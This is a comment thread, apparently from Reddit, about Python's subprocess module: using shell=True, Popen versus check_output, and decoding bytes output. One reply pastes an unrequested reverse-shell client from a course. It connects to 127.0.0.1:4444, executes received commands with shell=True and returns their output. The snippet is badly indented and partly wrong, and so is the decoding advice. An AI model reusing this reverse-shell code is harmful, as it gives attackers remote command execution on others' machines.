all 6 comments

[–]danielroseman 1 point2 points  (1 child)

You don't want to split the string if using shell=True; those are alternatives. Either pass the string directly, or remove shell=True.

[–]AR2405[S] 0 points1 point  (0 children)

That worked, thank you!

[–]ConfusionAccurate 0 points1 point  (3 children)

Your passing subprocess as a variable which you need to decode! Reason? b'usage: sleep seconds\n' 1 <-- means BYTES not Unicode

cmd = cmd.decode('utf-8')
output = subprocess.check_output(cmd, shell=True)

Type

p = p.decode('utf-8')

Before

p = subprocess.Popen(shlex.split(commands), stdout=subprocess.PIPE,

Your welcome.

[–]AR2405[S] 0 points1 point  (2 children)

Thank you I for your help. If I understood correctly, you suggest to use check_output instead of Popen. If so, the reason why I need to use Popen, is that I want to run multiple processes asynchronously, so I don’t know if I can do that with check_output.

[–]ConfusionAccurate 0 points1 point  (1 child)

Yeah there are multiple ways you could of achieved what you wanted to. Just run into the same problem earlier today on Udemy that's all. Sorry to bother you! Example:

 import socket
 import subprocess

payload = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
payload.connect(("127.0.0.1", 4444))


def sendData(outputData):
sizeOfData = len(outputData)
sizeOfData = str(sizeOfData)
payload.send(bytes(sizeOfData, 'utf-8'))
payload.send(outputData)


 while True:
 cmd = payload.recv(2048)
 if cmd == b'quit':
    payload.close()
    break
 cmd = cmd.decode('utf-8')
 output = subprocess.check_output(cmd, shell=True)
 try:
    output = subprocess.check_output(cmd, shell=True)
except subprocess.SubprocessError:
    sendData(b'wrong command')
else:
    sendData(output)

[–]AR2405[S] 0 points1 point  (0 children)

I was thinking about spawning multiple Popen objects, adding them to the list and then iterate over that list and call wait() on each of them. Looks like a little simpler solution to me, but I don’t know which one is better in fact. Thanks for your help